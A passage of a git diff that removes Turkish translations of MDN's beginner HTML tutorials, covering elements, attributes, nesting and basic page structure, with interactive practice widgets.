359px; width: 600px;"></p> - - - -<p><img alt="" src="https://mdn.mozillademos.org/files/13873/font2.png" style="height: 608px; width: 600px;"></p> - -<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p> diff --git a/files/tr/learn/html/index.html b/files/tr/learn/html/index.html deleted file mode 100644 index 959b1aea51..0000000000 --- a/files/tr/learn/html/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Web'i HTML ile oluşturma -slug: Learn/HTML -tags: - - Başlangıç - - HTML - - Konu - - Kılavuz - - Tanıtım - - Yeni başlayan - - Öğrenmek -translation_of: Learn/HTML -original_slug: Öğren/HTML ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">WEB Siteleri kurabilmek için, bir web sayfasının yapısını kuran ve en temel teknoloji olan {{Glossary('HTML')}} bilmelisiniz. <span id="result_box" lang="tr"><span>HTML, web sayfanızın içeriğinin kullanıcı ekranında nasıl algılanacağını belirler; bir paragraf, liste, başlık, bağlantı, resim, multimedya oynatıcı, form olarak mı yada mevcut diğer birçok öğeden biri veya sizin tanımlayacağınız yeni bir öğe olarak mı anlaşılacağını belirler.</span></span></p> - -<h3 id="Front-end_Ön-yüz_web_tasarımcısı_olmak_ister_misiniz">(Front-end) Ön-yüz web tasarımcısı olmak ister misiniz?</h3> - -<p>Amacınız için çalışmanız gereken tüm gerekli bilgileri içeren bir kurs derledik;</p> - -<p><a href="https://wiki.developer.mozilla.org/docs/Learn/Front-end_web_developer">Başlayabilirsiniz..</a></p> - -<h2 id="Başlarken_gerekenler.">Başlarken gerekenler.</h2> - -<p><span id="result_box" lang="tr"><span>Konuya başlamadan önce, yeterli düzeyde temel bir bilgisayar kullanıcısı olmalı ve internette bir izleyici olarak gezinebiliyor olmalısınız. Detaylı olarak </span></span><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installing basic software</a> (yeni yazılım kurulumu) yapabilecek düzeyde temel bir çalışma ortamına sahip olmalı, ve dosya oluşturmayı bilmeli ve dosyaları yönetebilmelisiniz, <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a> (Dosyalarla çalışma) — bunların ikisi de <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the web</a> (web ile çalışmaya başlama) tamamen yeni başlayanlar bölümünde anlatılmıştır.</p> - -<p>Tavsiyemiz <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the web </a>(web ile çalışmaya başlama) bölümünü tamamladıktan sonra buradaki başlığa geçmeniz olmasına rağmen bu bir zorunluluk değildir. <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a> (HTML Temelleri) makalesinde sunulan bilgilerin tamamı <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a> (HTML'e giriş) bölümünde çok daha detaylı olarak anlatılmaktadır.</p> - -<p>HTML öğrendikten sonra, aşağıdaki daha ileri seviye konuları öğrenmeye başlayarak devam edebilirsiniz:</p> - -<ul> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a>, ve bunu HTML'i şekillendirmek için nasıl kullanmalıyız. (<span id="result_box" lang="tr"><span>Örneğin, kullandığınız metin boyutunu ve yazı tiplerini değiştirin, kenarlıklar ekleyin ve gölgelendirin, sayfanızı birden çok sütunla düzenleyin, animasyonlar ve diğer görsel efektler ekleyin.</span></span>)</li> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a>, ve bunu <span id="result_box" lang="tr"><span>web sayfalarına dinamik kullanıcı etkileşimli işlevler eklemek için nasıl kullanmalıyız.</span></span> (Örneğin, konumunuzu bularak bir haritada üzerinde gösterme, bir düğme ile geçiş yaptığınızda UI elemanlarının görünür/görünmez olmasını sağlamak, kullanıcı bilgilerinin kullanıcı bilgisayarında kaydetme ve daha bir çok uygulama alanı.)</li> -</ul> - -<h2 id="Bölümler">Bölümler</h2> - -<p>Bu eğitim başlığı aşağıdaki bölümleri içerir, sırası ile çalışmanız tavsiye edilir. İlk olan ile başlayarak devam etmeniz kesinlikle önemlidir.</p> - -<dl> - <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e Giriş </a></dt> - <dd>Sahneyi kurarak başlamamızı sağlayan bu bölüm, sizi köprüler (linkler) oluşturma ve bir web sayfasını yapılandırmak için HTML'in nasıl kullanılabileceği gibi önemli kavramlara ve sözdizimine (syntax) alıştırarak temel oluşturur.</dd> - <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia ekleme ve yerleştirme (embedding) işlemleri</a></dt> - <dd>Bu bölüm, bir HTML sayfasına multimedia içeriklerin birkaç farklı yol ile nasıl dahil edileceği, videoların, ses dosyalarının ve hatta başka bir web sayfasının tamamımının bir HTML sayfasına nasıl gömülebileceğini keşfetmenizi sağlar.</dd> - <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables">HTML tabloları</a></dt> - <dd>Bir web sayfasında tablo verilerini anlaşılabilir, {{glossary("Accessibility", "accessible")}} erişilebilir bir şekilde göstermek zorlayıcıdır. Bu bölüm, temel tablo sözdizimlerini ve tablo başlığı (caption) ve özet bilgi sunumu gibi daha ileri özellikleri anlatır.</dd> -</dl> - -<h2 id="Genel_HTML_problemlerinin_çözümleri">Genel HTML problemlerinin çözümleri</h2> - -<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Howto">HTML kullanarak temel problemlerinin çözmek </a>Bir web sayfası oluştururken sık karşılaşılan HTML sorunlarının nasıl çözülebileceğini açıklayan içerik bölümlere bağlantılar sağlar: başlıklarla çalışmak, resimler veya videolar eklemek, içeriği vurgulamak, temel bir form oluşturmak, vb.</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<dl> - <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Forms">Web formları</a></dt> - <dd>Bu bölüm, web formlarının gerekliliklerine tam hakim olmanıza yardım etmek için bir seri makaleleri sunar. Web formları kullanıcılarla karşılıklı etkileşim için çok güçlü bir araçtır ve çoğunlukla kullanıcılardan bilgi toplama, bir kullanıcı arayüzünü kullanmalarına izin verme gibi işlemler için kullanılır. Bununla beraber, tarihi ve teknik sebeplerle, tüm yapabilirliklerini sağlayacak şekilde formları kullanabilmek her zaman açıkça belli değildir. Burada tüm önemli detayları ile web formlarını ele alacağız, formların HTML yapılarını kodlama, form kontrollerini şekilendirme, formda kullanılacak bilginin kontrolü ve bilgiyi ana web server adresine gönderme gibi. </dd> - <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML">HTML (HyperText Markup Language)</a></dt> - <dd>MDN'deki HTML başvuru belgeleri için ana giriş noktası, ayrıntılı öğe ve öznitelik referans tanımlamaları dahil olmak üzere - örneğin, eğer bir öğenin hangi özniteliklere sahip olduğunu öğrenmek veya bir özniteliğin hangi değerlere sahip olduğunu bilmek gibi, başlamak için çok iyi bir noktadasınız.</dd> -</dl> diff --git a/files/tr/learn/html/introduction_to_html/getting_started/index.html b/files/tr/learn/html/introduction_to_html/getting_started/index.html deleted file mode 100644 index 719024bdc3..0000000000 --- a/files/tr/learn/html/introduction_to_html/getting_started/index.html +++ /dev/null @@ -1,747 +0,0 @@ ---- -title: HTML ile Başlarken -slug: Learn/HTML/Introduction_to_HTML/Getting_started -translation_of: Learn/HTML/Introduction_to_HTML/Getting_started -original_slug: Öğren/HTML/Introduction_to_HTML/Başlangıç ---- -<div>{{LearnSidebar}}</div> - -<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> - -<p class="summary">Senin başlaman için bu makalede HTML'in mutlak temellerini ele alıyoruz . Unsurları, nitelikleri ve duymuş olabileceğiniz diğer tüm önemli terimleri ve bunların dile uygun olanlarını tanımlıyoruz. Ayrıca bir HTML öğesinin nasıl yapılandırıldığını, tipik bir HTML sayfasının nasıl yapılandırıldığını ve diğer önemli temel dil özelliklerini açıklıyoruz. Bu arada, sizin ilginizi çekmek için HTML ile biraz oynayacağız!</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön Koşullar:</th> - <td> - <p>Temel bilgisayar bilgisi, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">t</a>emel yazılım kurulumu ve dosyalarla çalışma için temel bilgi</p> - </td> - </tr> - <tr> - <th scope="row">Hedef:</th> - <td>HTML dilini temel olarak tanımak ve birkaç HTML öğesi yazmak için biraz pratik yapmak.</td> - </tr> - </tbody> -</table> - -<h2 id="HTML_nedir">HTML nedir?</h2> - -<p>{{glossary("HTML")}} (Hypertext Markup Language) bir programlama dili değildir; Tarayıcınıza, ziyaret ettiğiniz web sayfalarının nasıl yapılandırılacağını anlatmak için kullanılan bir işaretleme dilidir. Web geliştiricisinin istediği kadar karmaşık veya basit olabilir. HTML, içeriğin farklı bölümlerini belli bir şekilde görünmesini veya göstermesini sağlamak için sarmak, sarmak veya işaretlemek için kullandığınız bir dizi {{sözlükçe ("Element", "elements")}} dizisinden oluşur. Ekteki {{glossary ("Tag", "tags")}}, web'deki başka bir sayfaya bağlantı kurmak, kelimeleri italikleştirmek vb. İçin köprü içeren bir içerik içerebilir. Örneğin, aşağıdaki içerik satırını kullanın:</p> - -<pre>My cat is very grumpy</pre> - -<p>Satırın tek başına durmasını istiyorsak, paragrafın içine paragraf ekleyerek paragraf ({{htmlelement("p")}}) olduğunu belirleyebiliriz </p> - -<pre class="brush: html"><p>My cat is very grumpy</p></pre> - -<div class="note"> -<p><strong>Not</strong>: HTML'deki etiketler büyük / küçük harf duyarsızdır, yani büyük veya küçük harf olarak yazılabilirler. Örneğin, bir {{htmlelement ("title")}} etiketi <title>, <TITLE>, <Title>, <TiTlE>, vb. ile yazılabilir ve düzgün çalışacaktır. Bununla birlikte, en iyi uygulama tutarlılık, okunabilirlik ve diğer nedenlerle tüm etiketleri küçük harflerle yazmaktır.</p> -</div> - -<h2 id="Bir_HTML_ögesinin_anatomisi">Bir HTML ögesinin anatomisi</h2> - -<p>Paragraf elemanımızı biraz daha inceleyelim:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p> - -<p>Öğemizin ana bölümleri:</p> - -<ol> - <li>Açılış etiketi: Açma ve kapama açılı ayraçlara sarılmış elemanın adından (bu durumda, p) oluşur. Bu, elementin nerede başladığı ya da etkili olmaya başladığı - bu durumda paragrafın başlangıcı olduğu durumları belirtir.</li> - <li>Kapama etiketi: Bu, açılış etiketinin aynısıdır, ancak öğe adından önce bir eğik çizgi içermesi dışında. Bu, öğenin nerede bittiğini belirtir - bu durumda paragrafın bittiği yerde. Bir kapanış etiketi eklememek yaygın bir başlangıç hatasıdır ve garip sonuçlara yol açabilir.</li> - <li>İçerik: Sadece metin içeren ögemizin içerik unsurudur.</li> - <li>Öğe: Açılış etiketi artı kapanış etiketi ve içerik öğeye eşittir.</li> -</ol> - -<h3 id="Aktif_öğrenme_ilk_HTML_ögenizi_oluşturun">Aktif öğrenme: ilk HTML ögenizi oluşturun</h3> - -<p>Giriş alanını aşağıdaki satırı <em> ve </em> etiketleriyle sararak düzenleyin (öğeyi açmadan önce <em> ve öğeyi kapatmak için </em> koyun) - bu kodun satıra gerekir italik vurgu vermelidir! Değişikliklerinizin güncellemesini <em>Çıktı</em> alanında canlı olarak görebilirsiniz.</p> - -<p>Bir hata yaparsanız, <em>Sıfırla</em> düğmesini kullanarak her zaman sıfırlayabilirsiniz. Gerçekten sıkışırsanız, cevabı görmek için <em>Çözümü göste</em>r düğmesine basın.</p> - -<div class="hidden"> -<h6 id="Playable_code">Playable code</h6> - -<pre class="brush: html"><h2>Live output</h2> -<div class="output" style="min-height: 50px;"> -</div> - -<h2>Editable code</h2> -<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> - -<textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> - This is my text. -</textarea> - -<div class="controls"> - <input id="reset" type="button" value="Reset" /> - <input id="solution" type="button" value="Show solution" /> -</div> -</pre> - -<pre class="brush: css">html { - font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; -} - -h2 { - font-size: 16px; -} - -.a11y-label { - margin: 0; - text-align: right; - font-size: 0.7rem; - width: 98%; -} - -body { - margin: 10px; - background: #f5f9fa; -} -</pre> - -<pre class="brush: js">var textarea = document.getElementById('code'); -var reset = document.getElementById('reset'); -var solution = document.getElementById('solution'); -var output = document.querySelector('.output'); -var code = textarea.value; -var userEntry = textarea.value; - -function updateCode() { - output.innerHTML = textarea.value; -} - -reset.addEventListener('click', function() { - textarea.value = code; - userEntry = textarea.value; - solutionEntry = htmlSolution; - solution.value = 'Show solution'; - updateCode(); -}); - -solution.addEventListener('click', function() { - if(solution.value === 'Show solution') { - textarea.value = solutionEntry; - solution.value = 'Hide solution'; - } else { - textarea.value = userEntry; - solution.value = 'Show solution'; - } - updateCode(); -}); - -var htmlSolution = '<em>This is my text.</em>'; -var solutionEntry = htmlSolution; - -textarea.addEventListener('input', updateCode); -window.addEventListener('load', updateCode); - -// stop tab key tabbing out of textarea and -// make it write a tab at the caret position instead - -textarea.onkeydown = function(e){ - if (e.keyCode === 9) { - e.preventDefault(); - insertAtCaret('\t'); - } - - if (e.keyCode === 27) { - textarea.blur(); - } -}; - -function insertAtCaret(text) { - var scrollPos = textarea.scrollTop; - var caretPos = textarea.selectionStart; - - var front = (textarea.value).substring(0, caretPos); - var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); - textarea.value = front + text + back; - caretPos = caretPos + text.length; - textarea.selectionStart = caretPos; - textarea.selectionEnd = caretPos; - textarea.focus(); - textarea.scrollTop = scrollPos; -} - -// Update the saved userCode every time the user updates the text area code - -textarea.onkeyup = function(){ - // We only want to save the state when the user code is being shown, - // not the solution, so that solution is not saved over the user code - if(solution.value === 'Show solution') { - userEntry = textarea.value; - } else { - solutionEntry = textarea.value; - } - - updateCode(); -};</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p> - -<h3 id="İç_içe_geçmiş_ögeler">İç içe geçmiş ögeler</h3> - -<p>Öğeleri başka öğelerin içine de yerleştirebilirsiniz - buna iç içe geçmiş öge denir. Kedimizin <strong>çok</strong> huysuz olduğunu söylemek istersek, "çok" kelimesini bir {{htmlelement ("strong")}} öğesinin içine koyabiliriz, bu kelimenin güçlü bir şekilde vurgulanması gerektiği anlamına gelir:</p> - -<pre class="brush: html"><p>My cat is <strong>very</strong> grumpy.</p></pre> - -<p>Bununla birlikte, elemanlarınızın uygun şekilde olduklarından emin olmanız gerekir: yukarıdaki örnekte önce p elementini, sonra güçlü elementi açtık, bu nedenle önce güçlü elementi, sonra p'yi kapatmalıyız. Aşağıdaki yanlış:</p> - -<pre class="example-bad brush: html"><p>My cat is <strong>very grumpy.</p></strong></pre> - -<p>Elemanlar doğru açılıp kapanmalıdır, bu yüzden açıkça birbirlerinin içinde veya dışındadırlar. Yukarıdaki gibi çakışırlarsa, web tarayıcınız ne söylemeye çalıştığınızı en iyi şekilde tahmin etmeye çalışır ve beklenmedik sonuçlar elde edebilirsiniz. Öyleyse yapmayın!</p> - -<h3 id="Satır_içi_ögelere_karşı_blok">Satır içi ögelere karşı blok</h3> - -<p>HTML'de bilmeniz gereken iki önemli öğe kategorisi vardır. Blok düzeyinde elemanlar ve satır içi elemanlar.</p> - -<ul> - <li>Blok düzeyindeki öğeler bir sayfada görünür bir blok oluşturur - ondan önce gelen içerikten yeni bir satırda görünürler ve ondan sonra gelen tüm içerikler de yeni bir satırda görünür. Blok düzeyinde öğeler, sayfadaki, örneğin paragrafları, listeleri, gezinme menülerini, altbilgileri vb. temsil eden yapısal öğeler olma eğilimindedir. Blok düzeyinde bir öğe, satır içi bir öğenin içine yerleştirilmez, ancak içine yerleştirilebilir başka bir blok seviyesi elemanı olabilirler.</li> - <li>Satır içi öğeler, blok düzeyindeki öğeler arasında yer alan ve tüm paragrafları ve içerik gruplarını değil, belgenin içeriğinin yalnızca küçük bölümlerini çevreleyen öğelerdir. Satır içi öğe, belgede yeni bir satır görünmesine neden olmaz; normal olarak bir metin paragrafının içinde görünürler; örneğin, {{htmlelement ("a")}} elementi (köprü) veya {{htmlelement ("em")}} veya {{htmlelement ("strong")}} gibi vurgu öğeleri.</li> -</ul> - -<p>Aşağıdaki örneği ele alalım:</p> - -<pre class="brush: html"><em>first</em><em>second</em><em>third</em> - -<p>fourth</p><p>fifth</p><p>sixth</p> -</pre> - -<p>{{htmlelement ("em")}} bir satır içi öğedir, aşağıda görebileceğiniz gibi, ilk üç öğe, aralarında boşluk olmayan, aynı satırda oturur. Öte yandan, {{htmlelement ("p")}} blok düzeyinde bir öğedir, bu nedenle her öğe yeni bir satırda, her birinin üstünde ve altında boşluk olacak şekilde görünür (boşluk, tarayıcının paragraflara uyguladığı varsayılan CSS stilinden kaynaklanır ).</p> - -<p>{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200, "", "") }}</p> - -<div class="note"> -<p><strong>Not</strong>: HTML5, HTML5'deki öğe kategorilerini yeniden tanımladı: bkz. Öğe içeriği kategorileri. Bu tanımlar, daha öncekilerden daha doğru ve daha az belirsiz olsa da, "blok" ve "satır içi" den daha anlaşılması çok daha karmaşık olsa da, bu konu boyunca bunlara sadık kalacağız.</p> -</div> - -<div class="note"> -<p><strong>Not</strong>: Bu başlıkta kullanıldığı şekliyle "blok" ve "satır içi" terimleri aynı ada sahip CSS kutularının tipleriyle karıştırılmamalıdır. Varsayılan olarak ilişkilendirilirken, CSS görüntüleme türünü değiştirmek öğenin kategorisini değiştirmez ve hangi öğeleri içerebileceğini ve hangi öğeleri içerebileceğini etkilemez. HTML5'in bu terimleri bırakmasının nedenlerinden biri Bu oldukça yaygın karışıklığı önlemek.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: Blok ve satır içi öğelerin listelerini içeren faydalı referans sayfalarını bulabilirsiniz - bkz. Blok düzeyinde öğeler ve Satır içi öğeler.</p> -</div> - -<h3 id="Boş_Ögeler">Boş Ögeler</h3> - -<p>Tüm elemanlar yukarıdaki açılış etiketi, içerik ve kapanış etiketini takip etmez. Bazı öğeler yalnızca belgeye bir şey eklemek / yerleştirmek için genellikle kullanılan tek bir etiketten oluşur. Örneğin, {{htmlelement ("img")}} öğesi, bir görüntü dosyasını içinde bulunduğu konumda bir sayfaya yerleştirir:</p> - -<pre class="brush: html"><img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"></pre> - -<p>Bu, sayfanıza aşağıdakilerin çıktısını verir:</p> - -<p>{{ EmbedLiveSample('Empty_elements', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p> - -<div class="note"> -<p><strong>Not</strong>: Boş elemanlara bazen boş elemanlar da denir.</p> -</div> - -<h2 id="Öznitellikler">Öznitellikler</h2> - -<p>Öğelerin ayrıca şuna benzeyen nitelikleri de olabilir:</p> - -<p><img alt='&amp;amp;amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;amp;amp;lt;/p>' src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p> - -<p>Öznitelikler, gerçek içerikte görünmesini istemediğiniz öğe hakkında ek bilgi içerir. Bu durumda, class niteliği, öğeye daha sonra stil bilgisi ve diğer şeylerle öğeyi hedeflemek için kullanılabilecek bir tanımlayıcı ad vermenizi sağlar.</p> - -<p>Bir nitelik şunlara sahip olmalıdır:</p> - -<ol> - <li>Onunla eleman adı arasındaki boşluk (ya da eleman zaten bir ya da daha fazla özniteliğe sahipse, önceki öznitelik).</li> - <li>Öznitelik adı, ardından eşit bir işaret.</li> - <li>Açma ve kapama alıntı işaretlerinin etrafına sarılmış bir özellik değeri.</li> -</ol> - -<h3 id="Aktif_öğrenme_Bir_elemana_nitelikler_ekleme">Aktif öğrenme: Bir elemana nitelikler ekleme</h3> - -<p>Another example of an element is {{htmlelement("a")}} — this stands for "anchor" and will make the piece of text it wraps around into a hyperlink. This can take a number of attributes, but several are as follows:</p> - -<ul> - <li><code>href</code>: This attribute specifies as its value the web address that you want the link to point to; where the browser navigates to when the link is clicked. For example, <code>href="https://www.mozilla.org/"</code>.</li> - <li><code>title</code>: The <code>title</code> attribute specifies extra information about the link, such as what the page is that you are linking to. For example, <code>title="The Mozilla homepage"</code>. This will appear as a tooltip when hovered over.</li> - <li><code>target</code>: The <code>target</code> attribute specifies the browsing context which will be used to display the link. For example, <code>target="_blank"</code> will display the link in a new tab. If you want to display the link in the current tab just omit this attribute.</li> -</ul> - -<p>Edit the line below in the <em>Input</em> area to turn it into a link to your favorite website. First, add the <code><a></code> element. Second, add the <code>href</code> attribute and the <code>title</code> attribute. Lastly, specify the <code>target</code> attribute to open the link in the new tab. You'll be able to see your changes update live in the <em>Output</em> area. You should see a link that when hovered over displays the <code>title</code> attribute's content, and when clicked navigates to the web address in the <code>href</code> element. Remember that you need to include a space between the element name, and each attribute.</p> - -<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p> - -<div class="hidden"> -<h6 id="Playable_code2">Playable code2</h6> - -<pre class="brush: html"><h2>Live output</h2> - -<div class="output" style="min-height: 50px;"> -</div> - -<h2>Editable code</h2> -<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> - -<textarea id="code" class="input" style="min-height: 100px;width: 95%"> - &lt;p&gt;A link to my favorite website.&lt;/p&gt; -</textarea> - -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div></pre> - -<pre class="brush: css">html { - font-family: sans-serif; -} - -h2 { - font-size: 16px; -} - -.a11y-label { - margin: 0; - text-align: right; - font-size: 0.7rem; - width: 98%; -} - -body { - margin: 10px; - background: #f5f9fa; -}</pre> - -<pre class="brush: js">var textarea = document.getElementById('code'); -var reset = document.getElementById('reset'); -var solution = document.getElementById('solution'); -var output = document.querySelector('.output'); -var code = textarea.value; -var userEntry = textarea.value; - -function updateCode() { - output.innerHTML = textarea.value; -} - -reset.addEventListener('click', function() { - textarea.value = code; - userEntry = textarea.value; - solutionEntry = htmlSolution; - solution.value = 'Show solution'; - updateCode(); -}); - -solution.addEventListener('click', function() { - if(solution.value === 'Show solution') { - textarea.value = solutionEntry; - solution.value = 'Hide solution'; - } else { - textarea.value = userEntry; - solution.value = 'Show solution'; - } - updateCode(); -}); - -var htmlSolution = '<p>A link to my <a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank">favorite website</a>.</p>'; -var solutionEntry = htmlSolution; - -textarea.addEventListener('input', updateCode); -window.addEventListener('load', updateCode); - -// stop tab key tabbing out of textarea and -// make it write a tab at the caret position instead - -textarea.onkeydown = function(e){ - if (e.keyCode === 9) { - e.preventDefault(); - insertAtCaret('\t'); - } - - if (e.keyCode === 27) { - textarea.blur(); - } -}; - -function insertAtCaret(text) { - var scrollPos = textarea.scrollTop; - var caretPos = textarea.selectionStart; - - var front = (textarea.value).substring(0, caretPos); - var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); - textarea.value = front + text + back; - caretPos = caretPos + text.length; - textarea.selectionStart = caretPos; - textarea.selectionEnd = caretPos; - textarea.focus(); - textarea.scrollTop = scrollPos; -} - -// Update the saved userCode every time the user updates the text area code - -textarea.onkeyup = function(){ - // We only want to save the state when the user code is being shown, - // not the solution, so that solution is not saved over the user code - if(solution.value === 'Show solution') { - userEntry = textarea.value; - } else { - solutionEntry = textarea.value; - } - - updateCode(); -};</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p> - -<h3 id="Boolean_attributes">Boolean attributes</h3> - -<p>You'll sometimes see attributes written without values — this is perfectly allowed. These are called boolean attributes, and they can only have one value, which is generally the same as the attribute name. As an example, take the {{htmlattrxref("disabled", "input")}} attribute, which you can assign to form input elements if you want them to be disabled (greyed out) so the user can't enter any data in them.</p> - -<pre><input type="text" disabled="disabled"></pre> - -<p>As shorthand, it is perfectly allowable to write this as follows (we've also included a non-disabled form input element for reference, to give you more of an idea what is going on):</p> - -<pre class="brush: html"><!-- using the disabled attribute prevents the end user from entering text into the input box --> -<input type="text" disabled> - -<!-- The user can enter text into the follow input, as it doesn't contain the disabled attribute --> -<input type="text"> -</pre> - -<p>The above HTML will give you a rendered output as follows:</p> - -<p>{{ EmbedLiveSample('Boolean_attributes', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> - -<h3 id="Omitting_quotes_around_attribute_values">Omitting quotes around attribute values</h3> - -<p>When you look around the World Wide Web, you'll come across a number of strange markup styles, including attribute values without quotes. This is allowable in certain circumstances, but will break your markup in others. For example, if we revisit our link example from earlier, we could write a basic version with only the <code>href</code> attribute, like this:</p> - -<pre class="brush: html"><a href=https://www.mozilla.org/>favorite website</a></pre> - -<p>However, as soon as we add the <code>title</code> attribute in this style, things will go wrong:</p> - -<pre class="example-bad brush: html"><a href=https://www.mozilla.org/ title=The Mozilla homepage>favorite website</a></pre> - -<p>At this point the browser will misinterpret your markup, thinking that the <code>title</code> attribute is actually three attributes — a title attribute with the value "The", and two boolean attributes, <code>Mozilla</code> and <code>homepage</code>. This is obviously not what was intended, and will cause errors or unexpected behavior in the code, as seen in the live example below. Try hovering over the link to see what the title text is!</p> - -<p>{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> - -<p>Our advice is to always include the attribute quotes — it avoids such problems, and results in more readable code too.</p> - -<h3 id="Single_or_double_quotes">Single or double quotes?</h3> - -<p>In this article you'll notice that the attributes are all wrapped in double quotes. You might however see single quotes in some people's HTML. This is purely a matter of style, and you can feel free to choose which one you prefer. Both the following lines are equivalent:</p> - -<pre class="brush: html"><a href="http://www.example.com">A link to my example.</a> - -<a href='http://www.example.com'>A link to my example.</a></pre> - -<p>You should however make sure you don't mix them together. The following will go wrong!</p> - -<pre class="example-bad brush: html"><a href="http://www.example.com'>A link to my example.</a></pre> - -<p>If you've used one type of quote in your HTML, you can include the other type of quote inside your attribute values without causing any problems:</p> - -<pre class="brush: html"><a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a></pre> - -<p>However if you want to include a quote within the quotes where both the quotes are of the same type (single quote or double quote), you'll have to <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Entity_references_Including_special_characters_in_HTML">use HTML entities</a> for the quotes. For example, this will break:</p> - -<pre class="example-bad brush: html"><a href='http://www.example.com' title='Isn't this fun?'>A link to my example.</a></pre> - -<p>So you need to do this:</p> - -<pre class="brush: html"><a href='http://www.example.com' title='Isn&#39;t this fun?'>A link to my example.</a></pre> - -<h2 id="Anatomy_of_an_HTML_document">Anatomy of an HTML document</h2> - -<p>That wraps up the basics of individual HTML elements, but they aren't very useful on their own. Now we'll look at how individual elements are combined to form an entire HTML page:</p> - -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>My test page</title> - </head> - <body> - <p>This is my page</p> - </body> -</html></pre> - -<p>Here we have:</p> - -<ol> - <li><code><!DOCTYPE html></code>: The doctype. In the mists of time, when HTML was young (about 1991/2), doctypes were meant to act as links to a set of rules that the HTML page had to follow to be considered good HTML, which could mean automatic error checking and other useful things. They used to look something like this: - - <pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"></pre> - However, these days no one really cares about them, and they are really just a historical artifact that needs to be included for everything to work right. <code><!DOCTYPE html></code> is the shortest string of characters that counts as a valid doctype; that's all you really need to know.</li> - <li><code><html></html></code>: The {{htmlelement("html")}} element. This element wraps all the content on the entire page, and is sometimes known as the root element.</li> - <li><code><head></head></code>: The {{htmlelement("head")}} element. This element acts as a container for all the stuff you want to include on the HTML page that <em>isn't</em> the content you are showing to your page's viewers. This includes things like keywords and a page description that you want to appear in search results, CSS to style our content, character set declarations, and more. You'll learn more about this in the next article in the series.</li> - <li><code><meta charset="utf-8"></code>: This element sets the character set your document should use to UTF-8, which includes most characters from the vast majority of human written languages. Essentially it can now handle any textual content you might put on it. There is no reason not to set this, and it can help avoid some problems later.</li> - <li><code><title></title></code>: The {{htmlelement("title")}} element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in, and is used to describe the page when you bookmark/favorite it.</li> - <li><code><body></body></code>: The {{htmlelement("body")}} element. This contains <em>all</em> the content that you want to show to web users when they visit your page, whether that's text, images, videos, games, playable audio tracks, or whatever else.</li> -</ol> - -<h3 id="Active_learning_Adding_some_features_to_an_HTML_document">Active learning: Adding some features to an HTML document</h3> - -<p>If you want to experiment with writing some HTML on your local computer, you can:</p> - -<ol> - <li>Copy the HTML page example listed above.</li> - <li>Create a new file in your text editor.</li> - <li>Paste the code into the new text file.</li> - <li>Save the file as <code>index.html</code>.</li> -</ol> - -<div class="note"> -<p><strong>Note</strong>: You can also find this basic HTML template on the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">MDN Learning Area Github repo</a>.</p> -</div> 